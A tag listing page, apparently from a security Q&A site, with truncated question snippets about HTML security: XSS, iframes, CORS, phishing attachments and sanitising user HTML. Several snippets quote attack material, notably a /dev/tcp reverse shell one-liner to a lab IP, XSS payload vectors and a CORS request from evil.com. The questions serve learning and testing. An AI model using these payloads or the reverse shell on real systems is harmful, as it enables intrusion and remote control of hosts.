Questions tagged [html]

HTML (HyperText Markup Language) is a language used to create web pages using tags inline with the content to indicate to browsers how to display that content, using the tags to interpret formatting, images, scripts and other content.

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Vulnerabilities in img src

It is known that in modern browsers you can't run XSS in img src(assuming quotes are escaped), because neither javascript: protocol, nor svg will execute the code. But does it mean that trusted data ...
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How to turn this particular HTML rendering into a XSS or open redirection

I am performing penetration testing on a web application. Let's say the site as "https://example.com" There is a comment field , where a user can add data and it will be shown in the same ...
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1 answer
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Can you have an <iframe> tag with no spaces?

I am looking to figure out how to create an iFrame tag without any spaces. I have found an input on a Bug Bounty program that reflects my input back into the page, and allows me to escape double ...
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"One of your code blocks includes unescaped HTML." JS console security warning

I operate a blog using Google's Blogger platform about programming. I use highlight.js for syntax highlighting, and now on my posts I see the console warning: One of your code blocks includes ...
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1 answer
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Risk of injecting a malicious script/code?

I was was inspecting elements in a website and I randomly stumbled onto this piece of code . </style><meta name="add-styles-here"/><meta name="add-scripts-here"/>&...
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Need for URL encoding in XSS / CORS lab

I am doing one of Portswigger's labs on web security, specifically CORS (cross origin resource sharing). I am having trouble understanding why there is a need for URL encoding certain parts of the XSS ...
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Parameter vulnerable for HTML injection but cannot exploit because of URL encoding

I found a HTML injection vulnerability but there is an issue. The following request returns the following: curl "https://redacted.com/xss/para?meter="><h1>Test\</h1>"<...
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1 vote
1 answer
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WSS protocol vs HTTPS protocol as an iframe embedded source in a web page

until recently, I've been embedding a chatbot service from a different/external site with an iframe tag. it's a paid service, not a free one. today I saw that they changed a few urls, swithing from &...
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I mistakenly clicked an .htm attachment from an spam email, help?

I messed up... I opened the htm file using chrome and entered my password... Upon realising that it wasn't a legit attachment, I immediately changed my Microsoft account password. However, I don't ...
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Should API keys, even for free services, be visible in a page's source?

I sometimes see API keys in page sources, such as the following: <span class="nf">init</span><span class="p">(</span><span class="nv">...
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1 answer
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What are the security concerns of embedding Base64-encoded images into an HTML document?

We are developing an MVC web-application in Django and having concerns about image uploading. First of all, here are our business requirements: Our users can upload images (like profile pictures, etc)...
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XSS - Anyway to bypass double quotes in href of anchor?

I have an anchor that has href attribute populated by my input. I am trying to input javascript, but it always renders it useless since it always appears between double quotes. So far, I have tried ...
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1 answer
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Can javascript from parent page read url of popup window?

Lets say I'll open a third party page from the parent page using window.open(popup method) Now what I want to know is there any way where the parent page(using javascript or any third party library) ...
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CORS attack using authentication token [closed]

I found a website which is vulnerable to cors.(https://portswigger.net/web-security/cors) GET /api/requestApiKey HTTP/1.1. Host: vulnerable-website.com. Origin: https://evil.com. AUTHENTICATION: ...
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1 answer
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Website with embedded PDFs and JavaScript for Acrobat

Context On my website, users can upload their PDF files, and then some, other users can view the uploaded PDF files. I was wondering if this could come with security issues. The uploaded PDF are ...
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1 vote
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What sandbox does an <object> element run in? Can this sandbox be configured?

I run a site that displays user-generated SVGs. They are untrusted, so they need to be sandboxed. I currently embed these SVGs using <object> elements. (Unlike <img>, this allows loading ...
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sh reverse shell used to work as of an hour ago but nowthe server returns 500 Internal Server Error. Please take a look at my GET request and response

This is the reverse shell I'm using: sh -i >& /dev/tcp/10.10.14.106/3000 0>&1 and URL encoded is sh+-i+>%26+/dev/tcp/10.10.XX.XX/3000+0>%261+ It used to work just fine and I'd ...
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Can an HTML attachment in an email contain a virus?

I received an email from an old colleague asking me to take a look at an attachment. The email didn’t seem suspicious at all, it contained all the right logos, etc. When I opened the attachment it ...
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2 answers
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XSS payloads getting filtered but HTML tags are getting rendered. Can we exploit this? [duplicate]

I was trying to test a potential XSS vulnerability on a website. On the search bar I can see the filtering process happening i.e if I type script> (not with starting <) I can see the same in the ...
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115 views

What is the possible impact of inserting user input into image src?

A website takes user input and pass into img src. What is the possible impact that I can do with it? <img src="https://website.com/static/{user-input}"> I did think of some options: ...
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2 answers
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abiliity to change elements in HubSpot iFrame forms

I recently started working on adding custom code to HubSpot forms after their form is loaded via an iFrame. Initially, I was using the following code to access the iFrame to change it: var form = ...
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Static Content Security

I have some static content HTML in a cloud storage space/ CDN. How can I serve this only to authenticated users? I am planning to use these static content on edx platforms. How can I securely ...
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Taking html, js, css input from the user

We are building a multitenancy web app with Laravel (+Blade), each user can create a store (tenancy), and have a control panel where they can edit the store settings and styling, to edit the store ...
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2 votes
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Does Windows Server ship with any sensitive images in the filesystem?

I'm working with an interesting vulnerability I found which enables local file inclusion (LFI) on a target server. In summary, there is a PDF generation API endpoint which accepts an HTML string as ...
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Could there be malware in a video on twitter? [duplicate]

I don't know anything about security. I want to download the videos I like from twitter. And I'm not going to do it by writing a program. I will manually find the necessary link in the html document ...
4 votes
1 answer
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Mitigation for Insecure Deserialization

I'm trying to look for some way for mitigation of insecure deserialization vulnerability for the application front-end Then I found this link https://blog.jscrambler.com/exploring-the-owasp-top-10-by-...
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1 vote
0 answers
78 views

Security implications of an HTTP POST endpoint that accepts arbitrary HTML and returns it back

For generating PDFs in our web application we have a simple service that accepts a chunk of HTML from the client, wraps it in a standard template, does a couple of simple transforms (like replacing ...
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1 answer
260 views

Is there malicous HTML?

I'm writing a chrome extension that evaluates certain code blocks from GitHub pages, e.g., Lorem ipsum ```html-embed <iframe></iframe> ``` dolor site amet. and adds their content as HTML ...
1 vote
1 answer
1k views

Bypass input validation

I'm trying to create a vulnerable sandbox environment for pentesting challenges. As part of the challenge, I want to include some elements of XSS or SQLi if possible. However, I do not wish to make ...
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XSS Payloads: <script> vs javascript:

Hello I was experimenting with XSS payloads and couldn't help wonder the syntax for javascript:alert(0) The most basic payload for XSS makes sense, since the tag is used for JavaScript in HTML. <...
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140 views

Can display a GIF in <img> tag causing Client-side DOS

SVG image can be used in DOS user browser with billion laugh attack. Can we do the same with other image types? especially GIF? Thanks everyone.
2 votes
1 answer
151 views

Is an XSS attack possible under these constraints?

The output is: <img src="http://example.com/[input]" oncontextmenu="openUrl('http://example.com/[input]')"> Where [input] is the user input, which is sanitised through this ...
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Principally, is input type="text" instead input type="url" a security problem for "website" form fields?

I have a simple HTML-PHP-CSS contact form (no JavaScript) with some trivial fields sent via PHP's mail() function. One of the fields is "website" field in which a user should input a website ...
1 vote
1 answer
1k views

for reCaptcha, the token needs to be sent to backend for validation right?

So far, I have reCAPTCHA setup in the "submit" button for my login form with v2 Invisible recAPTCHA. But, I have a feeling that the token that I retrieve from Google needs to be sent to my ...
2 votes
3 answers
168 views

Protecting bare text / link email address published in a website

I have an all-core MediaWiki website; no addons, no forms besides a login form (not even a contact us form); the MediaWiki installation is continuously upgraded and everything is quite minimal and ...
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Whats wrong with this XSS vector? [duplicate]

Payload: <DIV STYLE="background-image: url(javascript:alert('XSS'))"> Reference: http://seguretat.wiki.uoc.edu/index.php/XSS_Cheat_Sheet Can someone please explain why this payload is ...
4 votes
1 answer
1k views

using rel="noreferer" without rel="noopener" or without target="_blank"

I have been reading about the security and performance implications of rel="noopener" and rel="noreferrer" in links with target="_blank". These are some of the ...
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2 answers
379 views

Can converting a virus-infected webpage to PDF format still contain viruses [closed]

So I know that PDF files can contain viruses themselves if they are target specifically for that purpose. However, my question for here is this: If a webpage that has some malicious scripts or a virus ...
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2 answers
241 views

DataURL Browser Cache Security Implications

What are the security implications that come with loading an image in dataURL format <img src="dataURL" />? After signing into my website the browser loads an image in dataURL format ...
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Understanding the Webview (html) code coming from the server

I am using an Android app downloaded from playstore and wanted to know whether the app uses Webview. So, I tried intercepting the network calls with the help of Charles (proxy) and I found out that ...
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1 answer
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Are there security issues around controlled cross site sharing behind SSO?

Very simply we have a ton of websites at our company behind SSO. I am having a hard time figuring out what security issues there are if we open cross-site sharing between these sites but wanted to get ...
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Are user customizable HTML e-mails secure?

Let me prefix this by saying I am aware of how HTML e-mails can implement trackers and other malicious content, however this question is quite specific. Consider a service where a company can register ...
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1 answer
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How can wkhtmltopdf be used without introducing a security vulnerability?

Background Per the project website, wkhtmltopdf is a "command line tool to render HTML into PDF using the Qt WebKit rendering engine. It runs entirely "headless" and does not require a ...
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Tor Browser: Could a website or ISP detect modification to DOM done by users if Javascript is disabled?

I have Tor Browser (which is basically Firefox ESR) on "Safest" setting (Javascript disabled). We're generally scolded about using extensions in it, as they can alter web traffic patterns to ...
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Is it safe to embed a google form on a website without an SSL Certificate?

I designed a Google Form for a website which does not have an SSL Certificate. I have planned to embed it onto a page using an iframe tag. I am currently testing it and have published a test page with ...
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2 votes
1 answer
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CSRF: GET request with POST data?

I have stumbled upon a vulnerability in a web application and was wondering if it was exploitable / worth reporting. The bug is a CSRF which would allow an attacker to send friend requests to himself ...
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2 answers
808 views

Attacking through a malicious HTML file apart from XSS through Javascript?

I recently came across a behavior in a web application where the application (through the use of the header Content-Disposition: attachment) offers to download an HTML file instead of allowing it to ...
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1 vote
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Is rel="noopener" any different from rel=&quot;noopener&quot;?

I have a Wordpress tooltip plugin that converts any links in the tooltip text using special entities, so that my rel="noopener" becomes rel=&quot;noopener&quot;. Is there any ...
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1 vote
1 answer
292 views

IFrame Vulnerability Classification

I was participating in a bug bounty on a website we will call example.com, when I ran into a very strange edge case which I am not sure I should report. The website uses ads and tracking similar to ...
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Does FB share button contain trackers?

I am considering putting a Facebook share button (shown below) on my website to encourage people to share content to their FB page. However, I do not want cross site trackers "bloating" my website or ...
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